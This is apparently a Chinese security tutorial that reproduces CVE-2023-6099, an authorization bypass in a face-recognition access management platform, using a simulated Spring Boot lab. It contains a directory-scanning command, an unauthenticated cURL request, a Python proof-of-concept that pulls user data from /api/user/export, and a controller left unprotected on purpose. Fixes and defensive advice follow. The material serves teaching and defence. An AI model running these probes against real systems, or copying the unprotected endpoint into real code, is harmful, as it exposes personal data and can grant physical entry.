1. 项目概述一次典型的权限绕过漏洞深度剖析最近在梳理一些智慧管理平台的历史漏洞时优卡特脸爱云一脸通智慧管理平台的这个CVE-2023-6099权限绕过漏洞引起了我的注意。这并非一个复杂到难以理解的零日漏洞但它却是一个极其典型的、由于开发人员对权限校验逻辑的疏忽而导致的“低级”高危漏洞。这类漏洞在各类管理后台、SaaS平台中屡见不鲜复现和分析它对于安全研究人员理解Web应用安全中的逻辑缺陷以及对于开发人员如何避免此类问题都有着非常直接的参考价值。简单来说CVE-2023-6099漏洞允许攻击者在未经过身份认证的情况下直接访问并操作本应需要管理员或其他高权限账户才能访问的后台管理接口。想象一下一个小区的人脸门禁管理后台攻击者无需知道任何账号密码就能直接添加、删除用户甚至修改系统配置这无疑是对系统安全性和用户隐私的致命打击。这个漏洞的复现过程清晰原理也不复杂非常适合作为Web安全入门后向逻辑漏洞挖掘进阶的一个实操案例。无论你是刚接触渗透测试的新手想通过复现1day漏洞来巩固技能还是有一定经验的开发人员希望从攻击者视角审视自己的代码这篇详细的复现与分析都能给你带来收获。2. 漏洞原理与背景深度解析2.1 漏洞核心失效的权限校验链要理解CVE-2023-6099我们首先要拆解一个典型Web应用特别是这种“一脸通”智慧管理平台的权限控制模型。这类平台通常采用基于角色的访问控制RBAC。用户登录后服务端会创建一个会话Session并在这个会话中标记用户的身份如用户ID、角色。此后用户发出的每一个请求在到达最终的业务逻辑控制器Controller之前都应该经过一个或多个“过滤器”或“中间件”的检查。这个检查链通常包括认证过滤器检查当前请求的会话Session中是否存在有效的登录标识。如果没有直接重定向到登录页或返回401/403错误。授权过滤器/拦截器在认证通过的基础上进一步检查当前用户所属的角色或权限是否足以访问他请求的URL或执行某个操作。CVE-2023-6099漏洞的本质就在于这个校验链出现了断裂。问题通常不出在全局的认证过滤器上——因为如果完全没登录可能连后台界面都加载不了。问题出在更细粒度的、针对具体功能模块或API接口的权限校验上。一种非常常见的情况是开发人员为整个后台管理模块配置了一个全局的登录检查但在编写某个具体的API接口例如/api/user/add时忘记或错误地认为该接口的访问路径已经被全局规则覆盖因此没有在该接口的控制器方法上添加额外的权限注解如RequiresRoles(“admin”)或进行手动权限判断。这就导致了一个“权限校验真空区”。攻击者只要能够通过某种方式“绕过”登录页面直接构造出指向这个真空接口的请求服务器就会因为找不到任何拒绝的理由而正常执行该请求背后的业务逻辑。2.2 漏洞场景与影响范围推演优卡特脸爱云一脸通智慧管理平台从其名称可以推断主要应用于社区、园区、办公楼等场景实现基于人脸识别的门禁、考勤、访客管理等功能。其后台管理平台必然包含用户管理增删改查人员信息、人脸照片、设备管理、权限分配、记录查询等核心功能。假设漏洞存在于UserMng用户管理模块的某个API。那么攻击者利用此漏洞可以实现的影响包括任意用户添加在系统中插入非法用户为其分配门禁权限实现物理空间的非授权进入。任意用户删除或禁用删除或禁用合法管理员或用户账户造成管理混乱或拒绝服务。信息泄露遍历或查询获取所有注册用户的人脸照片、姓名、工号、手机号等敏感个人信息造成严重的隐私泄露。权限提升如果用户角色信息也通过此接口管理攻击者可能直接修改自身或他人的账户权限将自己变为管理员。其危害等级无疑是“高危”。因为漏洞直接绕过了认证和授权攻击成本极低且影响的是系统的核心安全边界。从网络热词中频繁出现的“信息泄露”、“SystemMng”等关联漏洞标题来看该平台可能在不同模块用户管理、系统管理存在多个同类型的权限校验缺失问题这进一步说明了开发过程中安全编码规范和安全意识普及的重要性。3. 复现环境搭建与目标分析3.1 实验环境准备漏洞复现的第一原则是必须在合法、隔离的环境中进行。绝对禁止对互联网上任何未经授权的真实系统进行测试。为此我们需要搭建一个本地靶场环境。方案选择与理由从官方获取历史版本安装包首选理论上我们可以尝试联系厂商或从软件下载站寻找存在漏洞的旧版本安装包。但这通常比较困难且可能涉及版权问题。使用公开的漏洞靶场或Docker镜像次选安全社区有时会有人将存在漏洞的系统打包成Docker镜像方便练习。我们可以搜索“yktface”、“CVE-2023-6099 docker”等关键词。基于漏洞描述自行模拟本复现采用当无法找到真实环境时最可靠的方式是根据漏洞公告和有限的POC概念验证代码描述在本地搭建一个模拟漏洞环境的Web应用。这不仅能复现漏洞更能深刻理解其成因。本次复现我将采用第三种方案使用最常见的Java Web技术栈Spring Boot来模拟一个存在类似逻辑缺陷的管理平台后端。这是因为从“一脸通”这类企业级管理平台的常见技术选型来看Java EE或Spring MVC的可能性很大。我的本地环境配置操作系统Windows 11 / Ubuntu 22.04 (WSL2)JDKOpenJDK 17构建工具Maven 3.8.6IDEIntelliJ IDEA依赖框架Spring Boot 2.7.x, Spring Security用于模拟正确的和错误的配置测试工具Burp Suite Community Edition, Postman, cURL注意即使你手头有疑似存在漏洞的真实系统也强烈建议先在这样一个沙箱环境中完成原理性复现和POC编写确认无误后再进行下一步。这是安全研究的基本伦理和操作规范。3.2 目标系统接口分析与猜测根据网络搜索到的片段信息“脸爱云一脸通智慧平台-信息泄露-UserMng”我们可以合理推测漏洞点很可能位于与用户管理User Management相关的API接口上。常见的用户管理接口RESTful设计可能如下GET /api/user/list– 获取用户列表POST /api/user/add– 添加新用户PUT /api/user/update– 更新用户信息DELETE /api/user/{id}– 删除用户GET /api/user/export– 导出用户数据漏洞的触发点可能就是其中某一个或某几个接口缺失了方法级别的权限校验。为了模拟我创建了一个简单的Spring Boot应用其中UserController包含了上述接口。我故意在/api/user/export导出数据接口上“忘记”添加权限检查而其他接口则通过Spring Security的配置或注解进行了保护。4. 漏洞复现实操过程详解4.1 步骤一信息收集与接口探测在针对一个黑盒系统即使是我们自己搭建的模拟环境也假设最初对其一无所知时第一步永远是信息收集。确定目标地址假设我们模拟的平台访问地址是http://localhost:8080。访问登录页面使用浏览器打开http://localhost:8080/login。观察页面结构了解系统的大致风格。通过浏览器开发者工具F12的“网络”选项卡查看登录请求发送的地址、方法和参数格式通常是POST /login或POST /api/auth/login参数包含username和password。目录与接口扫描使用工具如dirsearch、gobuster或Burp Suite的Intruder模块对目标进行常见的路径爆破。字典可以包含/api/,/admin/,/user/,/system/,/upload/等常见管理后台路径。# 示例使用 dirsearch (需提前安装Python及dirsearch) python3 dirsearch.py -u http://localhost:8080 -e php, jsp, do, action, json或者更简单直接的方式是在登录后使用一个普通测试账号通过浏览器正常操作后台利用Burp Suite作为代理拦截所有请求观察并记录下所有的API接口路径和参数。这将为我们后续的测试提供最准确的接口列表。4.2 步骤二权限校验绕过测试这是最核心的环节。我们假设通过步骤一发现了疑似用户管理的接口http://localhost:8080/api/user/export其功能是导出所有用户数据为Excel这显然是一个高权限操作。测试方法正常流程记录首先用一个已登录的管理员账户在浏览器中点击“导出用户”按钮。用Burp Suite拦截这个请求。假设拦截到的请求如下GET /api/user/export?typeexcel HTTP/1.1 Host: localhost:8080 Cookie: JSESSIONIDADMIN_SESSION_ID_HERE User-Agent: Mozilla/5.0...服务器成功返回了Excel文件。构造未授权请求关闭浏览器或打开一个无痕窗口确保没有任何登录态即没有携带有效会话Cookie。直接使用工具如Postman或cURL发送完全相同的请求但不携带或携带一个无效的Cookie。# 使用cURL发送未授权请求 curl -v “http://localhost:8080/api/user/export?typeexcel”或者在Burp Suite的Repeater模块中将之前拦截到的请求中的Cookie头整个删除然后发送。结果分析漏洞存在如果服务器仍然返回了200 OK状态码并且成功返回了用户数据Excel文件或JSON列表那么恭喜你成功复现了权限绕过漏洞服务器没有验证调用者身份就执行了高权限操作。漏洞不存在如果服务器返回了401 Unauthorized、403 Forbidden或者重定向到了登录页面302 Found到/login则说明该接口有正常的权限校验。4.3 步骤三漏洞利用POC构造一旦确认某个接口存在未授权访问我们就可以编写一个简单的POC脚本自动化地利用该漏洞。以下是一个使用Python编写的示例POC用于验证/api/user/export接口的漏洞#!/usr/bin/env python3 CVE-2023-6099 权限绕过漏洞验证POC (模拟场景) 目标验证目标系统的 /api/user/export 接口是否可在未授权情况下访问 import requests import sys import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # 忽略HTTPS证书警告 def check_vulnerability(target_url): 检查目标URL是否存在未授权访问漏洞 vuln_api “/api/user/export?typeexcel” full_url target_url.rstrip(‘/’) vuln_api headers { ‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36’, ‘Accept’: ‘*/*’ # 注意故意不发送任何认证相关的Header如Cookie、Authorization } try: print(f”[*] 正在测试目标: {full_url}“) response requests.get(full_url, headersheaders, timeout10, verifyFalse) # 判断漏洞存在的条件状态码为2xx并且响应内容中可能包含用户数据特征 if 200 response.status_code 300: # 简单的内容检查如果响应内容较长或者包含特定关键词如‘username’, ‘name’则怀疑漏洞存在 content response.text if len(content) 100: # 假设正常未授权访问应返回简短错误信息 print(f”[] 疑似存在权限绕过漏洞“) print(f” 状态码: {response.status_code}“) print(f” 响应长度: {len(content)} bytes“) # 打印前500字符以供人工确认 print(f” 响应预览: {content[:500]}...“) return True elif ‘username’ in content.lower() or ‘user’ in content.lower(): print(f”[] 疑似存在权限绕过漏洞响应内容包含用户相关关键词。“) return True else: print(f”[-] 接口可访问但响应内容异常需人工进一步判断。状态码: {response.status_code}“) elif response.status_code in [401, 403]: print(f”[-] 接口访问被拒绝 (状态码: {response.status_code})权限校验可能正常。“) elif response.status_code 302 or response.status_code 301: # 尝试获取重定向位置 redirect_location response.headers.get(‘Location’, ‘Unknown’) print(f”[-] 请求被重定向 (状态码: {response.status_code})目标: {redirect_location}。可能是跳转到登录页。“) else: print(f”[-] 接口返回异常状态码: {response.status_code}“) except requests.exceptions.ConnectionError: print(f”[!] 无法连接到目标: {target_url}“) except requests.exceptions.Timeout: print(f”[!] 请求超时: {target_url}“) except Exception as e: print(f”[!] 请求过程中发生未知错误: {e}“) return False if __name__ “__main__”: if len(sys.argv) ! 2: print(f”用法: {sys.argv[0]} 目标基础URL“) print(f”示例: {sys.argv[0]} http://192.168.1.100:8080“) sys.exit(1) target sys.argv[1] is_vulnerable check_vulnerability(target) if is_vulnerable: print(“\n[!] 警告该目标系统可能受到CVE-2023-6099类似权限绕过漏洞的影响。请立即通知相关管理员。”) else: print(“\n[*] 未发现明显的未授权访问漏洞迹象。”)POC使用说明将上述代码保存为check_cve_2023_6099.py。在命令行中运行python3 check_cve_2023_6099.py http://target-ip:port。脚本会尝试访问/api/user/export接口并根据响应状态码和内容初步判断是否存在漏洞。重要提示此POC仅为教学演示其中的接口路径/api/user/export是基于推测的。实际测试中需要根据真实环境的信息收集结果替换为真实的漏洞接口路径。严禁在未授权的情况下对任何系统进行测试。5. 漏洞根因分析与代码层面解读5.1 模拟漏洞代码示例为了更直观地理解漏洞成因我编写了两段简单的Spring Boot控制器代码。第一段是存在漏洞的代码// 存在权限绕过漏洞的Controller RestController RequestMapping(“/api/user”) public class VulnerableUserController { // 这个接口“忘记”添加权限校验注解 GetMapping(“/export”) public ResponseEntityResource exportUsers(RequestParam String type) { // 业务逻辑生成并返回用户数据文件 // 问题这里直接执行了没有检查当前请求是否来自已登录的管理员 String fileName “all_users.” type; byte[] data userService.exportAllUserData(); // 高危操作 // … 返回文件 … return ResponseEntity.ok() .header(“Content-Disposition”, “attachment; filename\”” fileName “\””) .body(new ByteArrayResource(data)); } // 其他接口可能通过过滤器或注解得到了保护 PostMapping(“/add”) PreAuthorize(“hasRole(‘ADMIN’)”) // 这个接口有保护 public ResponseEntity addUser(RequestBody User user) { // … } }漏洞点分析exportUsers方法上没有任何权限校验注解如PreAuthorize同时如果应用的全局安全配置Spring Security配置类也没有通过antMatchers(“/api/user/export”).authenticated()等方式对该路径进行保护那么该接口就完全暴露在了权限校验体系之外。5.2 安全的代码修复方案修复方案的核心是确保权限校验链的完整性。有以下几种常见做法使用注解进行方法级保护推荐GetMapping(“/export”) PreAuthorize(“hasRole(‘ADMIN’)”) // 添加此注解 public ResponseEntityResource exportUsers(RequestParam String type) { // 业务逻辑 }这是最清晰、最直接的方式。PreAuthorize注解会在方法执行前进行表达式求值只有拥有ADMIN角色的用户才能访问。在全局安全配置中声明Configuration EnableWebSecurity public class SecurityConfig extends WebSecurityConfigurerAdapter { Override protected void configure(HttpSecurity http) throws Exception { http .authorizeRequests() .antMatchers(“/api/user/export”).hasRole(“ADMIN”) // 显式声明 .antMatchers(“/api/user/**”).authenticated() // 或者保护整个/user路径 // … 其他配置 } }这种方式适合对一组接口进行统一的权限规则配置。在控制器基类或AOP中进行校验对于大型项目可以定义一个基础控制器在所有需要权限的方法调用前通过AOP面向切面编程或自定义注解拦截器的方式统一进行权限判断。修复的关键不仅仅是修复这一个接口而是要对整个系统的所有对外接口特别是执行增删改查CURD和敏感操作导出、配置修改的接口进行一次全面的权限审计确保没有遗漏。6. 漏洞挖掘与防御加固建议6.1 如何挖掘此类漏洞对于安全测试人员挖掘此类漏洞可以遵循以下思路接口枚举这是基础。使用爬虫如Burp的爬虫功能和目录爆破工具尽可能多地收集系统的API端点。不要只关注网页上的可见功能很多API是供前端Ajax调用的。权限测试矩阵对收集到的每一个接口用不同的身份未登录用户、普通用户、管理员用户进行测试。Burp Suite的“Auth Matrix”插件或手动使用Repeater模块切换不同会话Cookie进行测试非常有效。关注“边缘”接口那些不直接在主要功能菜单上显示的接口例如数据导出(/export)、日志下载(/downloadLog)、配置备份(/backup)、初始化安装(/install、/setup)等往往是开发人员容易忽略校验的地方。参数污染与路径穿越有时权限校验可能依赖于请求中的某个参数如userId尝试修改这个参数为他人ID看是否能越权访问这就是IDOR不直接相关但常并存。或者尝试路径穿越如访问/api/../admin/init。工具辅助使用自动化扫描器如Burp Suite的Active Scan或专门的API安全测试工具如Postman的测试脚本、OWASP ZAP可以帮助发现一部分常见的未授权访问问题。6.2 开发与运维的防御措施对于开发人员和运维团队避免此类漏洞需要从流程和技术两方面入手开发阶段安全编码规范制定并强制执行安全编码规范明确规定“所有外部可访问的接口必须显式声明其所需的认证和授权级别”。使用安全框架充分利用Spring Security、Shiro等成熟安全框架的能力。采用“默认拒绝”原则即所有接口默认都需要认证只有公开接口如登录、注册需要显式放行。代码审计与评审在代码评审Code Review环节将权限校验作为必审项。可以借助静态代码分析工具SAST来发现未受保护的控制器方法。单元测试与安全测试编写单元测试时包含对接口未授权访问的测试用例。在CI/CD流水线中集成动态应用安全测试DAST工具。运维与部署阶段最小权限原则应用服务器进程、数据库账户等都应遵循最小权限原则。网络隔离将管理后台部署在内部网络或通过VPN、堡垒机进行访问而非直接暴露在公网。定期安全扫描使用漏洞扫描器对生产环境进行定期扫描及时发现潜在问题。关注安全公告积极关注如CNVD、CNNVD、厂商自身发布的安全更新及时修复已知漏洞。7. 复现过程中的常见问题与排查在复现和测试过程中你可能会遇到以下问题问题现象可能原因排查与解决方法访问接口返回404 Not Found1. 接口路径猜测错误。2. 应用上下文路径Context Path未考虑。1. 重新进行信息收集通过爬虫或拦截正常请求确认准确路径。2. 尝试在URL前加上应用上下文如http://ip:port/appname/api/...。返回403 Forbidden或401 Unauthorized权限校验正常漏洞可能不存在或存在于其他接口。1. 检查是否全局安全配置已生效。在模拟环境中检查Spring Security的配置日志。2. 扩大测试范围测试其他疑似接口。返回302 Found重定向到登录页应用使用了过滤器进行全局登录检查但可能检查不完整如只检查了.jsp页面忽略了.do或REST接口。1. 尝试在请求头中添加X-Requested-With: XMLHttpRequest有些前端框架对Ajax请求和页面请求处理不同。2. 检查重定向后的页面看是否能直接访问后台主页面可能存在另一次绕过。工具测试正常但浏览器访问不行1. 浏览器缓存了旧的会话或重定向。2. 接口可能依赖前端生成的特定Token或Header。1. 使用浏览器无痕模式测试。2. 用Burp拦截浏览器成功请求仔细对比工具发送的请求与浏览器发送的请求在Header、Cookie、参数上的所有差异逐一复制到工具中进行测试。模拟环境搭建失败依赖冲突Spring Boot版本与Spring Security或其他依赖版本不兼容。1. 使用Spring Initializr (start.spring.io) 生成一个基础项目确保版本兼容。2. 仔细检查pom.xml文件中的依赖声明查阅官方文档的兼容性矩阵。我的一个实操心得在测试未授权访问时不要只依赖状态码。有些应用即使未授权也可能返回200状态码但内容是一个JSON错误信息如{“code”: 403, “msg”: “Forbidden”}。所以一定要检查响应体内容。反之有些应用在未授权时会返回200并跳转到一个包含登录脚本的空白页这也需要仔细甄别。最好的判断标准是未授权请求是否成功获取到了本应授权后才能获取的核心业务数据。